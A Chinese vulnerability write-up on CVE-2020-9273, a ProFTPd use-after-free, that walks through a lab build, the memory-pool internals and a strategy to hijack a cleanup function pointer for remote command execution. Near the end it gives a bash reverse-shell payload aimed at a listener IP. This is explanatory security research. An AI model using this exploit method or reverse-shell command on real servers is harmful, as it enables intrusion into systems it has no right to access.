长亭百川云 - 文章详情

CVE-2020-9273 ProFTPd RCE漏洞分析与利用

天玄安全实验室

152

2024-07-13

漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)

环境搭建

调试环境/目标机器:ubuntu 18.04

ProFTPd源码编译及部署

`// 安装依赖   apt-get install -y build-essential net-tools git       // 源码下载   git clone https://github.com/proftpd/proftpd.git      // 切换到存在漏洞分支   git checkout -b 1.3.7rc2 v1.3.7rc2      // 生成Makefile文件,带gdb调试信息   ./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl      // 编译   make -j4      // 打包   apt install -y checkinstall      // 含debug信息   checkinstall -D \   --pkgname='ProFTPd' \   --pkgversion="1.3.7rc2" \   --maintainer="yuanyue@qianxin.com" \   --install=no \   --strip=no \   --stripso=no   `

创建匿名用户

`groupadd ftp #添加ftp组   useradd ftp -g ftp -d /var/ftp #添加ftp用户   passwd ftp #设置匿名ftp用户密码为ftp   `

proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf这个文件,将以下内容写入。

`# This is a basic ProFTPD configuration file (rename it to    # 'proftpd.conf' for actual use.  It establishes a single server   # and a single anonymous login.  It assumes that you have a user/group   # "nobody" and "ftp" for normal operation and anon.      ServerName   "ProFTPD Default Installation"   ServerType   standalone   DefaultServer   on      # Port 21 is the standard FTP port.   Port    21      # Umask 022 is a good standard umask to prevent new dirs and files   # from being group and world writable.   Umask    022      # To prevent DoS attacks, set the maximum number of child processes   # to 30.  If you need to allow more than 30 concurrent connections   # at once, simply increase this value.  Note that this ONLY works   # in standalone mode, in inetd mode you should use an inetd server   # that allows you to limit maximum number of processes per service   # (such as xinetd).   MaxInstances   30      # Set the user and group under which the server will run.   User    nobody   Group    nogroup      # To cause every FTP user to be "jailed" (chrooted) into their home   # directory, uncomment this line.   #DefaultRoot ~      # Normally, we want files to be overwriteable.   <Directory />     AllowOverwrite  on   </Directory>      # A basic anonymous configuration, no upload directories.  If you do not   # want anonymous users, simply delete this entire <Anonymous> section.   <Anonymous ~ftp>     User    ftp     Group    ftp        # We want clients to be able to login with "anonymous" as well as "ftp"     UserAlias   anonymous ftp        # Limit the maximum number of anonymous logins     MaxClients   10        # We want 'welcome.msg' displayed at login, and '.message' displayed     # in each newly chdired directory.     DisplayLogin   welcome.msg     #DisplayFirstChdir  .message        # Limit WRITE everywhere in the anonymous chroot     #<Limit WRITE>     #  DenyAll     #</Limit>   </Anonymous>   `

如果有/usr/etc/proftpd.conf这个文件,则注释掉下面三行配置,允许匿名用户上传文件。

  `#<Limit WRITE>     #  DenyAll     #</Limit>`

启动proftpd服务

`// 直接执行   /usr/sbin/proftpd   `

gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。

`gdb /usr/sbin/proftpd \    -ex "set detach-on-fork on" \    -ex "set follow-fork-mode child" \    -ex "set breakpoint pending on" \    -ex "b xfer_stor" \    -ex "b pr_data_xfer" \    -ex "b pr_data_abort" \    -ex "b _exit"   `

漏洞分析

ProFTPD介绍

proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。

proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。

内存池分配器介绍

关键结构

`#define CLICK_SZ (sizeof(union align))   `

CLICK_SZ是一个宏,代表内存对齐的长度,64位系统的值为8。

block_hdr
`union block_hdr {     union align a;        /* Padding */   #if defined(_LP64) || defined(__LP64__)     char pad[32];   #endif        /* Actual header */     struct {       void *endp;       union block_hdr *next;       void *first_avail;     } h;   };   `

每一个通过alloc_pool()或者make_sub_pool()函数分配的内存块,都一个union block_hdr,是用来描述当前内存块的状态。

  • h->endp:指向当前内存块的末尾地址。

  • h->next:指向内存块链表的下一个内存块。

  • h->first_avail:指向当前内存块空闲区域的首地址。

pool_rec
`struct pool_rec {     union block_hdr *first;     union block_hdr *last;     struct cleanup *cleanups;     struct pool_rec *sub_pools;     struct pool_rec *sub_next;     struct pool_rec *sub_prev;     struct pool_rec *parent;     char *free_first_avail;     const char *tag;   };   `

struct pool_rec是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。

first:当前pool链表中,第一个pool的指针。

last:当前pool链表中,最后一个pool的指针。

cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。

sub_pools:指向当前pool的sub pool。

sub_next:指向当前pool的后一个pool。

sub_prev:指向当前pool的前一个pool。

parent:指向当前pool的父pool。

free_first_avail:指向当前pool内存块的可分配首地址。

tag:可以理解为pool的标签或者名称,比如session pool、table pool。

关键函数

alloc_pool

alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。

`static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {     // 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz     /* Round up requested size to an even number of aligned units */     size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);     size_t sz = nclicks * CLICK_SZ;     union block_hdr *blok;     char *first_avail, *new_first_avail;        /* For performance, see if space is available in the most recently      * allocated block.      */     // 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL     blok = p->last;     if (blok == NULL) {       errno = EINVAL;       return NULL;     }     // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail     first_avail = blok->h.first_avail;     // 如果请求分配内存大小reqsz为0,函数直接返回NULL     if (reqsz == 0) {       /* Don't try to allocate memory of zero length.        *        * This should NOT happen normally; if it does, by returning NULL we        * almost guarantee a null pointer dereference.        */       errno = EINVAL;       return NULL;     }     // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址     new_first_avail = first_avail + sz;     // 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。     if (new_first_avail <= (char *) blok->h.endp) {       blok->h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址       return (void *) first_avail;     }        /* Need a new one that's big enough */     pr_alarms_block();     // 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中     blok = new_block(sz, exact);     p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok     p->last = blok;   // 将新申请的blok添加到当前pool的内存块链表的末端     // first_avail指向新申请的blok空闲区域首地址     first_avail = blok->h.first_avail;     // 计算所需内存大小sz的末尾地址,也就是新的first_avail地址     blok->h.first_avail = sz + (char *) blok->h.first_avail;         pr_alarms_unblock();     return (void *) first_avail;   }   `
new_block

new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。

`static union block_hdr *new_block(int minsz, int exact) {     union block_hdr **lastptr = &block_freelist;     union block_hdr *blok = block_freelist;     // exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用     if (!exact) {       minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);       minsz *= BLOCK_MINFREE;     }        // 遍历block freelist是否有符合要求的block,有则返回符合要求的block     while (blok) {       if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {         *lastptr = blok->h.next;         blok->h.next = NULL;            stat_freehit++;         return blok;       }          lastptr = &blok->h.next;       blok = blok->h.next;     }        // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请     /* Nope...damn.  Have to malloc() a new one. */     stat_malloc++;     return malloc_block(minsz);   }   `
malloc_block

malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息

  1. h.next置空。

  2. h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。

  3. h.endp指向内存新内存块的block地址结尾。

`static union block_hdr *malloc_block(size_t size) {     // 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小     union block_hdr *blok =       (union block_hdr *) smalloc(size + sizeof(union block_hdr));     // 更新新内存block的头信息     blok->h.next = NULL;     blok->h.first_avail = (char *) (blok + 1);     blok->h.endp = size + (char *) blok->h.first_avail;        return blok;   }   `
make_sub_pool

make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,

`struct pool_rec *make_sub_pool(struct pool_rec *p) {     union block_hdr *blok;     pool *new_pool;        pr_alarms_block();     // 创建一个512字节的内存块     blok = new_block(0, FALSE);     // new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小     new_pool = (pool *) blok->h.first_avail;     blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;     // 给new_pool的头初始化为0     memset(new_pool, 0, sizeof(struct pool_rec));     new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail     new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok     // 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools     if (p) {       new_pool->parent = p;       new_pool->sub_next = p->sub_pools;       // 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前       if (new_pool->sub_next)         new_pool->sub_next->sub_prev = new_pool;       // 将new_pool插入到p的sub_pools里       p->sub_pools = new_pool;     }        pr_alarms_unblock();        return new_pool;   }   `

漏洞触发

为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。

`echo 0 > /proc/sys/kernel/randomize_va_space   `

然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X

`/usr/sbin/proftpd -X -n -d10   `

poc大致步骤

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。

第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。

漏洞触发

proftpd debug模式运行的崩溃界面,

在gdb调试环境里看到的崩溃堆栈,

漏洞利用

绕过ASLR

前提条件:需要proftpd支持mod_copy模块,执行configure文件时加上--with-modules=mod_copy参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr为拷贝,site cpto为粘贴。

绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr,但是没法直接下载/proc/self/maps文件,所以将/proc/self/maps拷贝到/tmp目录下,然后把/tmp/maps文件下载下来,可以得到类似这样的文本内容。

篡改plain_cleanup_cb

利用思路:类似于在ptmalloc2里,劫持__free_hook函数指针一样,在proftpd里,通过劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函数指针,来控制执行流,从而达到任意命令执行。

不同:在ptmalloc2里,比较常见的是对__free_hook函数指针进行劫持,来控制执行流,__free_hook函数指针是一个全局变量,所以__free_hook的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。

但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb这个函数指针,想要篡改plain_cleanup_cb这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并对其写入我们想要的数据。pool_rec->cleanups是当前释放的内存池pool的管理结构struct pool_rec的成员,每个pool的管理结构block_hdrstruct pool_rec都在heap段,plain_cleanup_cb的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb在heap段的地址,就很难稳定的利用plain_cleanup_cb劫持来执行任意代码,pool的内存关系可参考下图。

(注:在64位系统里,palloc内存池按8字节对齐分配内存)

任意地址写cmd->pool是线程A控制的内容fake_pool,通过伪造cmd->pool的内容,借用make_sub_pool()函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()函数内的pr_table_get()对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)函数,res是线程B控制的内容,pstrdup()函数类似于字符串拷贝,通过将cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移,以此来篡改gid_tab->pool的地址内容指向cmd->pool - 0x10的地址,这样在释放gid_tab时就会同时释放掉gid_tab->pool,便可调用我们控制的cleanups,从而达到任意命令执行。

利用步骤

前三步和漏洞触发流程一样,

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。

从第四步开始有些不同,

第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()函数里pstrdup(cmd->pool, res)函数的第二个参数res,构造的内容包含cmd->pool - 0x10的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_reccleanup_tblok_hdr和反弹shell的命令,后面分别用fake_pool_recfake_cleanup_tfake_blok_hdrgCmd来代表,到此,就等待反弹shell吧。

构造shellcode

说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。

在上述的利用第四步中,线程B发送的命令,会在poll_ctrl()函数里第933行调用pr_cmd_read()读取。

线程A发送的shellcode,会在pr_data_xfer()函数第1265行被pr_netio_read()函数读取。

pr_netio_read()函数的参数cl_buf,在xfer_stor()函数第2026行从cmd分配的sub_pool,所以线程A发送的shellcode直接占据了pool_rec及后面的内存,shellcode伪造的内容及关系图如下。

gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。

线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()函数, 然后会进入到xfer_exit_ev()函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函数会继续调用pr_cmd_dispatch_phase()_dispatch()函数,到了main.c:287行调用make_sub_pool()函数。

第一个任意地址写,但是写的内容不可控制,在make_sub_pool()函数里,通过箭头指向的两条语句,任意写的内容是new_pool的地址,伪造p->sub_pools指向cmd->notes - 0x10,这样new_pool->sub_next等于cmd->notes - 0x10new_pool->sub_next->sub_prev等同于指向cmd->notes->chains,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb函数指针写入我们想要的内容,所以第一个任意写内容不可控。

但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()函数,紧接着调用pr_cmd_get_displayable_str()函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。

在不篡改cmd->notes->chains的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)进入if判断并退出pr_cmd_get_displayable_str()函数,在篡改完cmd->notes->chains的情况下,pr_table_get()函数会返回NULL,继续执行到pstrdup(cmd->pool, res),具体细节自行调试。

当我们伪造的fake_pool_rec->sub_prev字段指向gid_tab-0x90,伪造res的内容为cmd->pool - 0x10,恰好在pstrdup(cmd->pool, res)时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool的地址为cmd->pool - 0x10,如此一来gid_tab->pool->cleanups的地址便指向了cmd->pool->firstcmd->pool->first通过构造指向了cmd->pool->first + 0x50也就是fake_cleanups,所以当调用pr_table_free(gid_tab)时,最终会调用到run_cleanups()函数,参数为fake_cleanups,fake_cleanups是我们伪造好的,fake_cleanups->data指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00fake_cleanups->plain_cleanup_cb指向system的地址,即可通过system函数调用反弹shell命令。

但有一点,fake_blok_hdr->end必须远大于fake_blok_hdr->first_avail,建议0x300以上。

执行结果

总结

有三个必须注意到的点,

  1. 建议关闭系统ASLR调试和利用。

  2. gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。

  3. 本次利用并不稳定,仅供学习。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2